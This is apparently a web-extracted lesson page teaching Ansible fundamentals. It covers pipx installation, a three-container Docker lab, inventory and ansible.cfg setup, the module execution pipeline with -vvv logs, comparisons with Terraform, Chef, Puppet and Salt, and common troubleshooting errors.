Ansible Lesson 1: Core Fundamentals
- Be able to draw Ansible's execution model: agentless, the control node reads the inventory and playbook, packages each task's module locally (AnsiballZ), and sends it via SSH (ControlPersist connection reuse) to a temp directory on the managed node, where the remote Python runs it and returns JSON, finally yielding ok / changed / failed.
- Write both INI and YAML inventories inventory, use nested groups,
group_vars/host_varsorganize variables withansible-inventory --graph, and validate; explain the lookup order ofansible.cfg. - Be proficient with ad-hoc commands and
ansible-doc, distinguishcommandfromshell, know how to usecopy,apt/dnf,service, and other core modules. - Write your first playbook, understand idempotency and the changed/ok semantics, and build the habit of
--syntax-check→--check --diff→ running it for real. - Master where variables are defined and their precedence,facts, magic variables (
hostvars,groups,inventory_hostname),registeranddebug. - Use
when,loop,untiland handlers (includingflush_handlers), use Jinja2 templates,lineinfile/blockinfileto manage config files, and usevalidateto keep bad config from being applied. - Deploy myapp to 3 nodes (node1: nginx + Redis; node2/node3: gunicorn + systemd), and be able to independently troubleshoot beginner-level failures such as UNREACHABLE, permissions, Python interpreter, YAML syntax, and undefined variables.
Time allocation for the 1-hour lesson
| # | Time | Module | Core content | Animations / interactive | Lab (control node + node1–3) |
|---|---|---|---|---|---|
| 0 | Before class | Environment setup | Install Ansible with pipx, build 3 sshd managed-node containers, distribute SSH keys, project directory and inventory | Environment self-check checklist | ansible all -m ping all green |
| 1 | 00–06 | Ansible architecture and how it works | Agentless, control/managed nodes, SSH, module push execution, idempotency, ansible-core vs community package, comparison with Terraform/Chef/Puppet/Salt | Core animation: the full execution mechanism of one task (switch between pipelining / connection reuse / results) | -vvv Observe the temp directory and JSON return |
| 2 | 06–13 | Inventory and connections | INI/YAML, groups and nesting, host_vars/group_vars,--graph, connection variables, ansible.cfg lookup order | Inventory variable merge browser + ansible.cfg lookup simulator | Rewrite INI as YAML and validate |
| 3 | 13–19 | Ad-hoc commands and modules | ping, command vs shell, copy, apt/dnf, service, ansible-doc, forks | command vs shell parser + forks concurrency animation | Use ad-hoc to install packages, copy files, check services |
| 4 | 19–28 | Your first playbook and idempotency | play/task structure, become,--check/--diff, changed/ok,--syntax-check,--list-tasks | Idempotency simulator (first run / re-run / drift / check) | Run the nginx playbook twice and compare the recap |
| 5 | 28–35 | Variables and facts | Variable locations and precedence, setup/gather_facts, magic variables, register, debug | Variable precedence ladder | Generate a host report from facts |
| 6 | 35–42 | Conditionals, loops and handlers | when, loop, until, notify/handlers, flush_handlers; since 2.19, conditions must be booleans | Handler queue simulator | Multi-user + retries + reload only on config change |
| 7 | 42–50 | Jinja2 templates and file management | template, filters, lineinfile/blockinfile, file, validate | Template renderer (switch per host) | Render motd/nginx config + validate blocks a bad sudoers |
| 8 | 50–60 | Deploying myapp and troubleshooting basics | Multi-play deployment: Redis + gunicorn/systemd + nginx load balancing; troubleshooting methodology | Deployment pipeline animation + interactive troubleshooting tree | Deploy 3 nodes with one command, verify with curl polling |
| — | After class | Cheat sheet · Integrated lab | Add pre-rolling-release health checks and rollback awareness to myapp | Final quiz (12 questions) | Integrated lab |
Knowledge Coverage Matrix
| Target skill | M1 | M2 | M3 | M4 | M5 | M6 | M7 | M8 | Key commands | Lab |
|---|---|---|---|---|---|---|---|---|---|---|
| Explain the agentless push execution model | ✓ | · | ✓ | · | · | · | · | ✓ | ansible -vvv | M1 Observe AnsiballZ |
| Write and validate an inventory | · | ✓ | · | · | ✓ | · | · | ✓ | ansible-inventory --graph/--list/--host | INI → YAML |
| Manage connections and config files | ✓ | ✓ | · | · | · | · | · | ✓ | ansible-config dump --only-changed | ansible.cfg lookup |
| Ad-hoc operations and looking up docs | · | · | ✓ | · | · | · | · | ✓ | ansible -m,ansible-doc -s | Install packages / copy files |
| Write an idempotent playbook | ✓ | · | · | ✓ | · | ✓ | ✓ | ✓ | ansible-playbook --check --diff | nginx two runs |
| Variables, facts and register | · | ✓ | · | · | ✓ | ✓ | ✓ | ✓ | -m setup -a filter=,debug | Host report |
| Flow control and handlers | · | · | · | ✓ | · | ✓ | ✓ | ✓ | --list-tasks,--force-handlers | Reload only on config change |
| Templates and safe config changes | · | · | · | · | · | · | ✓ | ✓ | template,validate | sudoers blocking |
| Native deployment of a multi-tier app | · | · | · | · | · | · | · | ✓ | ansible-playbook site.yml | myapp on 3 nodes |
| Basic troubleshooting | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | -vvvv,--start-at-task,--step | troubleshooting tree |
What this lesson leaves out (and where to learn it)
| Topic | Why not in this lesson | Where to learn |
|---|---|---|
Roles, Collections,ansible-galaxy, project directory conventions | Master the playbook itself first; Lesson 2 covers engineering-level splitting | Lesson 2: Production readiness |
| Ansible Vault, secrets management, ansible-lint, Molecule testing | Belongs to the production readiness topics | Lesson 2 |
| Azure VM / AWS EC2, dynamic inventory, SSM connection plugin | Belongs to the cloud platform topics | Lesson 3 (Azure), Lesson 4 (AWS) |
| AWX / AAP, Event-Driven Ansible, CI pipelines | Belongs to the automation operations platforms | Lesson 5 |
Multi-tier architecture (PostgreSQL, rolling releases serial), performance tuning (strategy, forks, third-party options such as mitogen) | Requires this lesson's basics | Lessons 6 and 7 |
| Windows managed nodes (WinRM / SSH + PowerShell), network devices (network_cli) | Connection mechanisms differ; beyond 1 hour | Official OS guides |
How to use this courseware
Theory · diagrams · animation · commands · lab · production cases · troubleshooting · quiz · audio · video. Start with “Theory” and “Animation”, then work through the “Lab” on the control node.
Scoring 70% or more on the quiz, or clicking “Mark this module complete”, counts toward progress. Progress is saved in this browser (it is cleared on refresh when local storage is disabled).
The “Audio” page reads the lecture script aloud using the browser's built-in Web Speech API (en-US). Without a Chinese voice pack, the script can still be read or passed to a TTS tool.
when can no longer be nested inside {{ }} and only trusted template sources are rendered). All examples in this lesson follow the 2.19+ rules. If you see when: "{{ x }}" or similar syntax in older tutorials, follow this lesson instead. Core 2.19 reached EOL in 2026-11; 2.20 is maintained until 2027-05.Module 0 · Environment setup (complete before class)
- Lab machine: Azure VM (resource group
rg-ansible-lab, regioncanadacentral, recommendedStandard_B2sor above), or a local Linux machine, with OS Ubuntu 24.04 LTS, with Docker Engine 29 (Docker course lesson 1 completed). This machine also serves as the control node and container host. - The current user is in the
dockergroup (docker ps, no sudo needed). - Windows users: the Ansible control node does not support native Windows. Use Ubuntu 24.04 in WSL2, or use an Azure VM directly.
Step 1: install Ansible on the control node (pipx)
The official install guide recommends using pipx to install Ansible into an isolated virtual environment. The command is pipx install --include-deps ansible (full community package, including ansible-core and a curated set of collections) or pipx install ansible-core (core only, plus ansible.builtin). --include-deps To expose the ansible,ansible-playbook and other commands from the ansible-core dependency on PATH: ansible The community package itself only ships ansible-community this command.
sudo apt-get update sudo apt-get install -y pipx python3-venv git pipx ensurepath # add ~/.local/bin to PATH; re-login or run source ~/.bashrc afterwards source ~/.bashrc pipx install --include-deps ansible pipx inject --include-apps ansible argcomplete # optional: command-line completion ansible --version ansible-community --version
ansible [core 2.21.5] config file = None configured module search path = ['/home/azureuser/.ansible/plugins/modules', '/usr/share/ansible/plugins/modules'] ansible python module location = /home/azureuser/.local/share/pipx/venvs/ansible/lib/python3.12/site-packages/ansible ansible collection location = /home/azureuser/.ansible/collections:/usr/share/ansible/collections executable location = /home/azureuser/.local/bin/ansible python version = 3.12.3 (main, …) [GCC 13.3.0] (/home/azureuser/.local/share/pipx/venvs/ansible/bin/python) jinja version = 3.1.6 pyyaml version = 6.0.2 (with libyaml v0.2.5) Ansible community version 14.x.y
config file = None means no ansible.cfg is in effect yet (created in step 4); python version is the interpreter that runs Ansible on the control node that runs Ansible (the pipx virtualenv), unrelated to the Python that executes modules on managed nodes. Upgrade: pipx upgrade --include-injected ansible; to install core only, use pipx install ansible-core, then add collections as needed with ansible-galaxy collection install community.general.ppa:ansible/ansible, but this lesson uses pipx throughout: versions stay under control and the system Python is not polluted (Ubuntu 24.04's system Python is protected by PEP 668, so running pip install directly will fail with externally-managed-environment).Step 2: generate a dedicated SSH key for the lab and build the managed-node image
ssh-keygen -t ed25519 -f ~/.ssh/ansible_lab -N "" -C "ansible-lab" mkdir -p ~/ansible-lab/nodes && cd ~/ansible-lab/nodes cp ~/.ssh/ansible_lab.pub ./ansible_lab.pub
# Managed node: Ubuntu 24.04 + systemd (PID 1) + sshd + sudo + python3
FROM ubuntu:24.04
ENV DEBIAN_FRONTEND=noninteractive
RUN apt-get update \
&& apt-get install -y --no-install-recommends \
systemd systemd-sysv openssh-server sudo python3 python3-apt \
ca-certificates iproute2 curl less vim-tiny \
&& apt-get clean && rm -rf /var/lib/apt/lists/*
# Ansible remote user: passwordless sudo (lab only)
RUN useradd -m -s /bin/bash ansible \
&& echo 'ansible ALL=(ALL) NOPASSWD:ALL' > /etc/sudoers.d/ansible \
&& chmod 0440 /etc/sudoers.d/ansible \
&& install -d -m 0700 -o ansible -g ansible /home/ansible/.ssh
COPY --chown=ansible:ansible ansible_lab.pub /home/ansible/.ssh/authorized_keys
RUN chmod 0600 /home/ansible/.ssh/authorized_keys
# sshd: password login disabled; uses the classic ssh.service (24.04 defaults to ssh.socket socket activation)
RUN printf 'PasswordAuthentication no\nPermitRootLogin no\n' > /etc/ssh/sshd_config.d/10-lab.conf \
&& (systemctl disable ssh.socket || true) \
&& systemctl enable ssh.service \
&& systemctl mask systemd-logind.service getty.target console-getty.service \
systemd-udevd.service systemd-remount-fs.service
STOPSIGNAL SIGRTMIN+3
CMD ["/sbin/init"]
docker build -t ans-node:24.04 .
docker network create --subnet 172.30.0.0/24 anslab
for i in 1 2 3; do
docker run -d --name node$i --hostname node$i \
--network anslab --ip 172.30.0.1$i \
--privileged --cgroupns=host -v /sys/fs/cgroup:/sys/fs/cgroup:rw \
--tmpfs /run --tmpfs /run/lock \
ans-node:24.04
done
docker ps --format 'table {{.Names}}\t{{.Status}}\t{{.Image}}'
docker exec node1 systemctl is-system-running --wait; docker exec node1 systemctl is-active ssh
NAMES STATUS IMAGE node3 Up 5 seconds ans-node:24.04 node2 Up 6 seconds ans-node:24.04 node1 Up 7 seconds ans-node:24.04 running active
is-system-running Sometimes shows degraded (a few units fail to start in containers, e.g. hardware-related services); as long as ssh is active this does not affect this lesson. You can check with docker exec node1 systemctl --failed .
- Ordinary containers have no systemd: the container's default PID 1 is your app process (e.g.
sshd -D), with no init system. In that caseansible.builtin.systemd/servicemodules fail; the typical error isSystem has not been booted with systemd as init system (PID 1). Can't operate., while modules 4, 6 and 8 require real service management. - This lesson's approach: run systemd as PID 1 (
CMD ["/sbin/init"]), which requires--privileged --cgroupns=hostand mounting/sys/fs/cgroupread-write (a common community approach for running systemd in Docker for Ansible testing; Molecule tests use it too). A privileged container is nearly equivalent to host root; use it only on a disposable lab machine, never on shared or production hosts. - Remaining differences: kernel, clock, hostname resolution (/etc/hosts is managed by Docker), firewall, kernel parameters (
sysctlmostly cannot be changed), disks and swap all differ from a real VM. The 3 containers built from the same image share one SSH host key (generated at build time). These differences do not affect this lesson's conclusions. - Alternative A (if you do not want privileged containers): use
CMD ["/usr/sbin/sshd","-D","-e"](requires firstmkdir /run/sshd) to run plain sshd containers. Labs for modules 1–3, 5 and 7 all work. For service/systemd tasks in modules 4, 6 and 8, do them on a VM instead, or change gunicorn tonohupstartup (demo only, not recommended). - Alternative B (closest to production): 3 small VMs. On this machine you can use Multipass:
multipass launch 24.04 --name node1 --cpus 1 --memory 1G --cloud-init node-cloud-init.yaml(cloud-init creates the ansible user and writes the public key), or create 3Standard_B1sin Azure (watch the cost; delete them when done:az group delete -n rg-ansible-lab --yes --no-wait). In the inventory, changeansible_hostto the VM address. - Docker Desktop (macOS/Windows): the host cannot reach the bridge IP 172.30.0.x directly. You can start another Ubuntu container on the same network as the control node (
docker run -it --network anslab -v ~/ansible-lab:/lab ubuntu:24.04 bash, and install pipx/ansible inside it), or map a port for each node (-p 2221:22) and useansible_host=127.0.0.1 ansible_port=2221in the inventory.
Step 3: SSH connectivity and host keys
# Write the 3 nodes' host keys into known_hosts (safer than disabling host_key_checking) ssh-keyscan -t ed25519 172.30.0.11 172.30.0.12 172.30.0.13 >> ~/.ssh/known_hosts 2>/dev/null ssh -i ~/.ssh/ansible_lab ansible@172.30.0.11 'hostname; python3 --version; sudo -n true && echo sudo-ok'
node1 Python 3.12.3 sudo-ok
If you rebuilt the containers, the host keys have changed and SSH reports REMOTE HOST IDENTIFICATION HAS CHANGED: first run ssh-keygen -R 172.30.0.11 (for all 3 IPs), then run keyscan again. When using VMs instead of containers, you can use ssh-copy-id -i ~/.ssh/ansible_lab.pub ansible@HOST to distribute the public key (this requires the user to be able to log in with a password temporarily).
Step 4: project directory, ansible.cfg and inventory
cd ~/ansible-lab mkdir -p inventory/group_vars inventory/host_vars templates files cat > ansible.cfg <<'EOF' [defaults] inventory = inventory/hosts.ini remote_user = ansible private_key_file = ~/.ssh/ansible_lab interpreter_python = auto_silent forks = 10 retry_files_enabled = False [ssh_connection] # The default value is -C -o ControlMaster=auto -o ControlPersist=60s; written out here for clarity ssh_args = -C -o ControlMaster=auto -o ControlPersist=60s pipelining = False EOF cat > inventory/hosts.ini <<'EOF' [lb] node1 ansible_host=172.30.0.11 [cache] node1 [app] node2 ansible_host=172.30.0.12 node3 ansible_host=172.30.0.13 [lab:children] lb cache app EOF ansible --version | head -2 ansible-inventory --graph ansible all -m ping
ansible [core 2.21.5]
config file = /home/azureuser/ansible-lab/ansible.cfg
@all:
|--@ungrouped:
|--@lab:
| |--@lb:
| | |--node1
| |--@cache:
| | |--node1
| |--@app:
| | |--node2
| | |--node3
node1 | SUCCESS => {
"ansible_facts": {
"discovered_interpreter_python": "/usr/bin/python3"
},
"changed": false,
"ping": "pong"
}
node2 | SUCCESS => { … "ping": "pong" }
node3 | SUCCESS => { … "ping": "pong" }
pipelining = False is the ansible-core default. The module 1 animation and the -vvv lab first observe the default “copy to temp directory” path, then turn on pipelining to compare. interpreter_python = auto_silent only turns off the “interpreter discovered” warning; the discovery logic is identical to the default auto value. Note: the directory containing ansible.cfg must not be world-writable, or the file is ignored (see module 2).Module 1 · Ansible architecture and how it works
- Explain what the control node and managed nodes each need. Control node: Linux/macOS/WSL + Python 3.12–3.14 + Ansible. Managed node: SSH + Python 3.9–3.14 (for most modules) + a user with sudo rights.
- Recite in order the execution pipeline of one task: inventory/variable merge → action plugin → module packaging (AnsiballZ) → SSH (ControlPersist) → remote temp directory → Python execution → JSON return → cleanup → ok/changed/failed.
- Understand that “idempotent” is a contract the module must meet, not Ansible magic. Distinguish ansible-core from the Ansible community package, and know how Ansible is positioned relative to Terraform, Chef, Puppet and Salt.
What: what Ansible is
Ansible is an agentless automation engine. It uses YAML to describe “what state a machine should be in” (playbook), and over SSH (Linux/Unix) or WinRM/SSH (Windows) it pushes the module to the target machine for execution. It covers three kinds of work: configuration management (installing packages, writing config, managing services), application deployment (rolling out to multiple machines in order), and orchestration (ordered cross-host operations, e.g. drain traffic, upgrade, then re-add).
- Control node: a machine with Ansible installed that runs
ansible/ansible-playbookcommands. It must be a Unix-like system (Linux, macOS, or Linux within WSL),native Windows cannot be a control node. - Managed node (also called host): servers, VMs, containers and network devices being managed. A Linux node only needs sshd and Python; it needs no Ansible software or resident process.
- Inventory: managed-node inventory and grouping (module 2). Module: execution units, for example
ansible.builtin.apt,copy,template, most of which are Python scripts. Plugin: code that runs on the control node and extends Ansible itself (connection, become, callback, lookup, filter, inventory plugins, etc.). - Playbook → Play → Task: a playbook is a YAML file containing one or more plays. Each play maps a group of tasks to a group of hosts, and each task calls a module (module 4).
Why: why agentless matters
You do not need to install, upgrade or monitor agent processes on hundreds of machines, and you do not need to open extra ports or set up a certificate system (Puppet needs port 8140 and a CA; Salt needs 4505/4506). Any machine you can SSH into can be managed from day one. The cost: every run must open SSH connections and transfer modules, which is slower than resident agents at large scale (lesson 7 covers tuning such as forks, pipelining and strategy), and it is a push model. When nobody runs the playbook, configuration drift is not corrected automatically (lesson 5 solves this with AWX scheduled jobs / EDA).
How: how one task executes
- Parse: read
ansible.cfg, the inventory, and the playbook. For each target host, compute the final variables by merging inventory variables, facts, play variables, extra variables, etc. (module 5). - Action plugin (control node): each task is first handled by an action plugin with the same name, or a generic one.
template's action plugin will render Jinja2 on the control node, then hand the result to the remotecopylogic.debug,set_fact,assertand similar run entirely on the control node and never connect to the remote host. - Module packaging (AnsiballZ): package the module code, the
module_utilsit depends on, and the current arguments into one self-extracting Python scriptAnsiballZ_<module_name>.py(the zip is embedded in the script). - Connection: connection plugin (default
ssh, calls the system OpenSSH) to establish the connection. The defaultssh_argsis-C -o ControlMaster=auto -o ControlPersist=60s: after the first handshake, a master connection socket is kept (under~/.ansible/cp/), and later commands reuse it, saving repeated TCP and key exchange. - Transfer: create the remote temp directory
~/.ansible/tmp/ansible-tmp-<timestamp>-<pid>-<random>/, use sftp (falling back to scp/pipes on failure) to put the AnsiballZ script there andchmod u+x. With pipelining enabled, this step is skipped and the script is fed straight to the remote Python through SSH stdin. - Execution: the become plugin (default sudo) wraps the command, and the remote Python (the interpreter is found automatically by interpreter discovery; on Ubuntu it is
/usr/bin/python3) runs the script: unpack → run the module → the module compares the “current state” with the “desired state” and changes things only when needed. - Return: the module returns its result as a JSON object printed to stdout, for example
{"changed": true, "rc": 0, …}; the control node parses the JSON. - Cleanup: delete the remote temp directory (for debugging, you can set
ANSIBLE_KEEP_REMOTE_FILES=1to keep it). - Summary: the callback plugin (default
default) summarizes based onchanged/failed/unreachable/skippedoutputok(green),changed(yellow),failed(red), and counts them in PLAY RECAP.
By default, under the linear strategy, Ansible uses at most forks (default 5) parallel processes to run the same task on all hosts, and moves to the next task only after all hosts have finished.
Idempotency
Idempotent means “running once and running N times give the same result”: the first run changes the machine to the desired state (changed), and later runs find it already satisfied and do nothing (ok). This is the design contract of the module: apt: name=nginx state=present first checks the dpkg state to decide whether to install; whereas the command/shell module just runs commands. Ansible cannot tell whether it changed anything, so it always reports changed. You need to add idempotency with creates,changed_when etc. (modules 3 and 4).
ansible-core vs the Ansible community package
| ansible-core | ansible (community package) | |
|---|---|---|
| Contents | engine, CLI (ansible, ansible-playbook, ansible-doc, ansible-galaxy, ansible-vault, ansible-inventory, ansible-config, ansible-console, ansible-pull, ansible-test) + ansible.builtin collections | depends on a specific ansible-core version + a set of community collections (community.general, community.docker, ansible.posix, amazon.aws, azure.azcollection, etc.) |
| Current version (2026-11) | 2.21 (GA 2026-05, EOL 2027-11); 2.20 (EOL 2027-05); 2.19 reached EOL in 2026-11 | 14.x (based on core 2.21); 13.x reached EOL in 2026-06; 15.0.0 in development (core 2.22) |
| Install | pipx install ansible-core | pipx install --include-deps ansible |
| Suited for | Common in production: install only core, then use requirements.yml to pin collection versions precisely | Learning, quick start, installing common collections all at once |
Red Hat Ansible Automation Platform (AAP, currently 2.6) is the commercial product. On top of core it provides a web console (automation controller, upstream is AWX), execution environments (containerized ansible-core + collections), Event-Driven Ansible, and more. Covered in lesson 5.
When: when to use Ansible
- Suitable for: OS configuration and hardening, software installation, deploying applications to VMs/bare metal, ordered cross-host orchestration (rolling upgrades, certificate rotation), network device configuration, and as the “post-provisioning configuration (Day 1/Day 2)” step after Terraform.
- Less suitable for: creating and long-term tracking of the cloud resource lifecycle (Terraform's state and plan are better suited); application delivery inside Kubernetes (use Helm/Argo CD; Ansible can handle the cluster's surroundings); scenarios needing continuous convergence within seconds (use agent-based tools or controllers).
Comparison with similar technologies
| Ansible | Terraform | Chef | Puppet | Salt | |
|---|---|---|---|---|---|
| Main positioning | Configuration management + deployment + orchestration | Infrastructure provisioning (IaC) | Configuration management | Configuration management | Configuration management + remote execution |
| Agent | None (SSH/WinRM) | None (calls cloud APIs) | chef-client agent | puppet agent | salt-minion (also has a salt-ssh agentless mode) |
| Model | Push (also ansible-pull) | plan → apply | Pull (converges on a schedule) | Pull (every 30 minutes by default) | Push (ZeroMQ event bus) |
| Language | YAML + Jinja2 | HCL | Ruby DSL | Puppet DSL | YAML + Jinja2 |
| State | No central state; checks the target live each time | State file records resource mappings | Chef Server stores node data | PuppetDB stores facts/catalog | Master stores grains/pillar |
| Execution order | In written order | Parallel by dependency graph | In written order | Dependencies (inventory order by default) | In written order / requisites |
shell makes it non-idempotent. ② “Managed nodes need nothing” — a Linux managed node needs Python (apart from raw,script modules), and it also needs a user that can sudo. ③ “Ansible remembers the state from the last run” — there is no state file; it checks live every time. If you remove a task from the playbook, Ansible does not undo the changes it made earlier; you must explicitly write state: absent. ④ “template renders on the remote side” — Jinja2 always renders on the control node, so templates can use lookups on the control node, but cannot see remote file contents.Architecture diagram: what is on the control node and what is on the managed node
Flowchart: the 9 stages of one task
Core animation: the execution mechanism of one task
Task: - name: Install nginx ansible.builtin.apt: name=nginx state=present become: true, target node2. Click “Play” or “Next”, and the terminal below shows the real logs (condensed) matching ansible-playbook -vvv (condensed). Switchable: pipelining, whether the connection was pre-warmed by the previous task (ControlPersist), and module results.
ANSIBLE_KEEP_REMOTE_FILES=1 to keep the remote script, open AnsiballZ_*.py to take a look, and compare the number of SSH commands before and after enabling pipelining.Core commands and parameters
| Command | Purpose | Key parameters / notes |
|---|---|---|
ansible --version | core version, active ansible.cfg, control node Python, collection path | First step in troubleshooting: confirm “which ansible and which configuration” |
ansible-community --version | Community package version (14.x) | This command does not exist when only ansible-core is installed |
ansible HOSTS -m MODULE -a ARGS | Run an ad-hoc module | -v…-vvvv increasing verbosity; -b privilege escalation; -f forks |
ANSIBLE_KEEP_REMOTE_FILES=1 | keeps the remote temp directory for research and debugging | clean up when done ~/.ansible/tmp |
ansible-config dump --only-changed | List configuration that differs from defaults, and where it comes from | -t all includes plugin configuration |
ansible-galaxy collection list | List installed collections and their versions | Collections bundled with the community package are listed too |
cd ~/ansible-lab ansible node2 -m ping -vvv 2>&1 | grep -E "ESTABLISH|SSH: EXEC|PUT|rc=|python3" | head -20
<172.30.0.12> ESTABLISH SSH CONNECTION FOR USER: ansible <172.30.0.12> SSH: EXEC ssh -C -o ControlMaster=auto -o ControlPersist=60s -o 'IdentityFile="/home/azureuser/.ssh/ansible_lab"' -o KbdInteractiveAuthentication=no … -o 'User="ansible"' -o ConnectTimeout=10 -o 'ControlPath="/home/azureuser/.ansible/cp/6f1c2a9b3e"' 172.30.0.12 '/bin/sh -c '"'"'echo ~ansible && sleep 0'"'"'' <172.30.0.12> SSH: EXEC ssh … 172.30.0.12 '/bin/sh -c '"'"'( umask 77 && mkdir -p "` echo /home/ansible/.ansible/tmp `"&& mkdir "` echo /home/ansible/.ansible/tmp/ansible-tmp-1763200000.12-4242-1234 `" … )'"'"'' <172.30.0.12> PUT /home/azureuser/.ansible/tmp/ansible-local-4242abcd/tmpq1w2e3 TO /home/ansible/.ansible/tmp/ansible-tmp-1763200000.12-4242-1234/AnsiballZ_ping.py <172.30.0.12> SSH: EXEC sftp -b - -C -o ControlMaster=auto -o ControlPersist=60s … '[172.30.0.12]' <172.30.0.12> SSH: EXEC ssh … 172.30.0.12 '/bin/sh -c '"'"'/usr/bin/python3 /home/ansible/.ansible/tmp/ansible-tmp-1763200000.12-4242-1234/AnsiballZ_ping.py && sleep 0'"'"'' <172.30.0.12> SSH: EXEC ssh … 172.30.0.12 '/bin/sh -c '"'"'rm -f -r /home/ansible/.ansible/tmp/ansible-tmp-1763200000.12-4242-1234/ > /dev/null 2>&1 && sleep 0'"'"''
How to verify: You should see five stages: ESTABLISH → mkdir temp directory → PUT (sftp) → python3 execution → rm. This confirms that what you see is the pipeline shown in the animation. Common mistake: adding only -v does not show SSH details; at least -vvv is needed. For connection problems use -vvvv (this also includes output from ssh -vvv ). Production use: find out where the slowness is (connecting? transferring? the module itself?).
View the ControlPersist master connections
ls -l ~/.ansible/cp/ # within 60 seconds you will see one socket file per host ssh -O check -o ControlPath=$(ls -d ~/.ansible/cp/* | head -1) 172.30.0.12
srw------- 1 azureuser azureuser 0 Nov 15 10:20 6f1c2a9b3e srw------- 1 azureuser azureuser 0 Nov 15 10:20 9a0b7c11d2 srw------- 1 azureuser azureuser 0 Nov 15 10:20 c3d4e5f6a7 Master running (pid=51234)
The ControlPath filename is a short string produced by hashing values such as host, port and user (to avoid overly long Unix socket paths). After 60 seconds idle, the master connection exits automatically.
View where the configuration comes from
ansible-config dump --only-changed
CONFIG_FILE() = /home/azureuser/ansible-lab/ansible.cfg DEFAULT_FORKS(/home/azureuser/ansible-lab/ansible.cfg) = 10 DEFAULT_HOST_LIST(/home/azureuser/ansible-lab/ansible.cfg) = ['/home/azureuser/ansible-lab/inventory/hosts.ini'] DEFAULT_PRIVATE_KEY_FILE(/home/azureuser/ansible-lab/ansible.cfg) = /home/azureuser/.ssh/ansible_lab DEFAULT_REMOTE_USER(/home/azureuser/ansible-lab/ansible.cfg) = ansible INTERPRETER_PYTHON(/home/azureuser/ansible-lab/ansible.cfg) = auto_silent RETRY_FILES_ENABLED(/home/azureuser/ansible-lab/ansible.cfg) = False
Lab 1: see “push — execute — return JSON — clean up” with your own eyes (about 5 minutes)
cd ~/ansible-lab ANSIBLE_KEEP_REMOTE_FILES=1 ansible node2 -m ping ssh -i ~/.ssh/ansible_lab ansible@172.30.0.12 'ls -la ~/.ansible/tmp/*/'
node2 | SUCCESS => { … "ping": "pong" }
total 120
drwx------ 2 ansible ansible 4096 Nov 15 10:22 .
drwx------ 3 ansible ansible 4096 Nov 15 10:22 ..
-rwx------ 1 ansible ansible 110233 Nov 15 10:22 AnsiballZ_ping.pyexplode subcommand, which extracts the embedded zip)
ssh -i ~/.ssh/ansible_lab ansible@172.30.0.12 ' cd ~/.ansible/tmp/ansible-tmp-*/ && python3 AnsiballZ_ping.py explode && find debug_dir -maxdepth 4 | head; cat debug_dir/args'
Module expanded into:
/home/ansible/.ansible/tmp/ansible-tmp-…/debug_dir
debug_dir
debug_dir/ansible
debug_dir/ansible/module_utils
debug_dir/ansible/modules
debug_dir/ansible/modules/ping.py
…
{"ANSIBLE_MODULE_ARGS": {"data": "pong", "_ansible_check_mode": false, "_ansible_verbosity": 0, …}}
You can see that the module source, the module_utils it depends on, and the current arguments (including internal underscore-prefixed parameters such as the check-mode flag) are all packaged together. This is “prepare on the control node, execute on the remote”.
ssh -i ~/.ssh/ansible_lab ansible@172.30.0.12 'cd ~/.ansible/tmp/ansible-tmp-*/ && python3 AnsiballZ_ping.py'
{"ping": "pong", "invocation": {"module_args": {"data": "pong"}}}
This one line of JSON is everything the control node parses. Without a changed field, it is treated as false.
ansible node2 -m ping -vvv 2>&1 | grep -c "SSH: EXEC" ANSIBLE_PIPELINING=True ansible node2 -m ping -vvv 2>&1 | grep -c "SSH: EXEC"
5 2
With it off, Ansible must check the home directory, create a temp directory, transfer the file via sftp, execute it, and delete it. With it on, the module runs directly from stdin and the number of commands drops significantly. Lesson 7 quantifies the effect on 50+ hosts.
ansible node2 -m shell -a 'ps aux | grep -i [a]nsible; dpkg -l | grep -ci ansible || true'
node2 | CHANGED | rc=0 >> ansible 8123 0.0 0.1 … /bin/sh -c /usr/bin/python3 … AnsiballZ_command.py 0
The only “ansible process” you see is the module itself running this command (its owner is the ansible user), which disappears after execution. There is no ansible package in dpkg. Note: the shell module always shows CHANGED. It cannot tell whether the command changed the system (explained in module 3).
ansible all -m shell -a 'rm -rf ~/.ansible/tmp/ansible-tmp-*'
Case 1: 300 servers behind a bastion host
Problem: The production network segment can only be reached by SSH through a bastion host, and the team worried that “agentless” mode would not cover it. Approach: Ansible reuses OpenSSH directly. In group_vars, set ansible_ssh_common_args: '-o ProxyJump=ops@bastion.example.com' (or in ~/.ssh/config , write ProxyJump), so ControlPersist lets each host handshake only once. Configuration: forks raised to 30, pipelining enabled. Limit: The bastion's MaxSessions/MaxStartups limits concurrency, so coordinate with the security team. Lesson 4 covers the AWS SSM connection method, which does not require opening SSH.
Case 2: migrating from Puppet to Ansible
Problem: The Puppet agent converges every 30 minutes, but an expired Puppet Server certificate caused a full loss of contact, and the team lacks Ruby / Puppet DSL skills. Approach: First use Ansible to take over “deployment and orchestration”, the ordered operations Puppet is poor at. Then migrate configuration modules one by one, and keep scheduled runs (AWX scheduled jobs) to compensate for the push model not self-correcting. Limit: Ansible has no central facts store like PuppetDB. You need fact caching (lesson 7) or must rely on AWX job records.
Case 3: dividing work between Terraform and Ansible
Problem: The team uses Terraform's remote-exec provisioner to run large shell blocks on VMs. Failures cannot be retried and the code is hard to maintain. Approach: Terraform only creates VMs, networks and identities and outputs IPs and tags. Ansible uses dynamic inventory (grouped by cloud tags) for post-provisioning configuration and application deployment. Config: In CI, first run terraform apply, then ansible-playbook -i azure_rm.yml site.yml (lesson 3). Limit: The two are coupled through tag/output conventions, so the naming rules need to be documented.
Common errors and fixes
/usr/bin/python3: not found or MODULE FAILURE … The module failed to execute correctly, you probably need to set the interpreter.
Cause: The managed node has no Python (minimal images, some network devices), or the interpreter path is not in the interpreter discovery candidate list.
ansible node2 -m raw -a 'command -v python3; ls -l /usr/bin/python*' ansible node2 -m setup -a 'filter=ansible_python*' -vvv
Fix: Use a module that does not depend on Python, such as raw to install it first: ansible node2 -b -m raw -a 'apt-get update && apt-get install -y python3'; or explicitly set in the inventory ansible_python_interpreter=/usr/bin/python3. Note that core 2.21 requires managed-node Python ≥ 3.9.
ERROR! Ansible requires Python 3.12 or newer on the controller. Current version: 3.10.12 …
Cause: On an old system (e.g. Ubuntu 22.04 ships Python 3.10), a newer ansible-core was installed with the system Python. Core 2.21's control node requires Python 3.12–3.14. (The exact error text depends on your installed version; pip may also refuse outright: Requires-Python >=3.12.)
python3 --version pipx list
Fix: switch to Ubuntu 24.04, or let pipx use a newer interpreter: pipx install --python python3.12 --include-deps ansible (install 3.12 first, e.g. from the deadsnakes PPA or a uv-managed Python).
Failed to create temporary directory. In some cases, you may have been able to authenticate and did not have permissions on the target directory.
